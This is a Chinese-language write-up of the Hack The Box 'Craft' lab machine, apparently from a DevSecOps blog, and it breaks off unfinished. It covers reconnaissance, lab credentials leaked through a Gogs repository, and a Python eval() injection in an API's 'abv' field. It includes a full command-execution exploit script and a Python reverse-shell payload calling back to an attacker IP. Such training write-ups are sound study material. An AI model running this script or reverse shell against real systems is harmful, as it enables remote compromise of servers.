HTB linux Craft

简介
文章尚未总结完成。

靶机状态:root.

文章目录

  • 信息收集

信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ nmap -sC -sV -oA nmap/Craft 10.10.10.110
# Nmap 7.70 scan initiated Fri Aug 23 22:44:58 2019 as: nmap -sC -sV -oA nmap/Craft 10.10.10.110
Nmap scan report for 10.10.10.110
Host is up (0.26s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0)
| ssh-hostkey:
| 2048 bd:e7:6c:22:81:7a:db:3e:c0:f0:73:1d:f3:af:77:65 (RSA)
| 256 82:b5:f9:d1:95:3b:6d:80:0f:35:91:86:2d:b3:d7:66 (ECDSA)
|_ 256 28:3b:26:18:ec:df:b3:36:85:9c:27:54:8d:8c:e1:33 (ED25519)
443/tcp open ssl/http nginx 1.15.8
|_http-title: 400 The plain HTTP request was sent to HTTPS port
| ssl-cert: Subject: commonName=craft.htb/organizationName=Craft/stateOrProvinceName=NY/countryName=US
| Not valid before: 2019-02-06T02:25:47
|_Not valid after: 2020-06-20T02:25:47
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
| tls-nextprotoneg:
|_ http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Aug 23 22:46:48 2019 -- 1 IP address (1 host up) scanned in 110.38 seconds

配合searchsploit和手工信息搜集后,获得以下信息:

  • 22端口,ssh服务,版本为OpenSSH 7.4p1,无N Day RCE
  • 443端口,ssl/http服务,中间件版本为nginx 1.15.8,无N Day RCE

gogs: 反弹shell

从http服务发现gogs代码管理系统,找到浏览仓库的功能(/exploie/repos),发现craft-api仓库,访问仓库后,开始收集git信息(git信息一般从分支代码 、issues、commitlog等方面收集),然后从issues中发现:

1
$ curl -H 'X-Craft-API-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImV4cCI6MTU0OTM4NTI0Mn0.-wW1aJkLQDOE-GP5pQd3z_BJTe2Uo0jJ_mQ238P5Dqw' -H "Content-Type: application/json" -k -X POST https://api.craft.htb/api/brew/ --data '{"name":"bullshit","brewer":"bullshit", "style": "bullshit", "abv": "15.0")}'

然后从项目代码的test目录中发现test.py文件,其中包含login接口但不存在登陆凭证;查看文件历史,找到带登陆凭证的test.py,如下:

1
response = requests.get('https://api.craft.htb/api/auth/login',  auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)

于是,得到gogs系统的账号:dinesh 4aUh0A8PbVJxgd,尝试登陆ssh,失败。

登陆gogs,未发现其他仓库,于是,对craft-api进行代码审计,最后在”craft_api/brew/endpoints/brew.py”中找到python的命令执行漏洞,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 设置api的namespace,设置该参数后,
ns = api.namespace('brew/', description='Operations related to beer.')

@ns.route('/')
class BrewCollection(Resource):
@auth.auth_required
@api.expect(beer_entry)
def post(self):
"""
Creates a new brew entry.
"""

# make sure the ABV value is sane. 漏洞点,
if eval('%s > 1' % request.json['abv']):
return "ABV must be a decimal value less than 1.0", 400
else:
create_brew(request.json)
return None, 201

关于flask中namespace相关介绍请看官方文档
payload中需要闭合’%s > 1’,结合namespace中的配置编写如下脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import requests
import sys
import json
from base64 import b64encode
from requests.packages.urllib3.exceptions import InsecureRequestWarning


requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

proxy={'https':'http://10.211.55.2:8080'}

headers = {
'Host': 'api.craft.htb',
'Connection': 'close',
'Content-Type': 'application/json',
'accept': 'application/json',
'X-Craft-Api-Token': '',
'accept': 'application/json',
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36',
'Sec-Fetch-Mode': 'cors',
'Sec-Fetch-Site': 'same-origin',
'Referer': 'https://api.craft.htb/api/'
}

def create_token():
try:
response = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
token = response.json()['token']
return token
except Exception as e:
print(e)

def run_command(token, cmd):
data = {
"id": 0,
"brewer": "bullshit",
"name": "bullshit",
"style": "bullshit",
"abv": "%s"%cmd
}
headers['X-Craft-Api-Token'] = token
url = 'https://api.craft.htb/api/brew/'
response = requests.post(url, data=json.dumps(data), headers=headers, verify=False)
return (response.status_code, response.text)

def try_shell():
token = create_token()
while 1:
cmd = input('# > ')
if cmd in [ 'quit', 'q', 'exit' ]:
break
code, msg = run_command(token, cmd)
if code == 403:
token = create_token()
code, msg = run_command(token, cmd)
print(msg)

try_shell()

配合payload:(__import__("os").system('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.28",1338));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'')) and 1获取反弹shell

priv: docker root ->

拿到shell之后,发现自己是root权限,但是没有找到flag,信息收集之后发现是docker中的,继续审计

####

owefsad wechat
进击的DevSecOps,持续分享SAST/IAST/RASP的技术原理及甲方落地实践。如果你对 SAST、IAST、RASP方向感兴趣,可以扫描下方二维码关注公众号,获得更及时的内容推送。
0%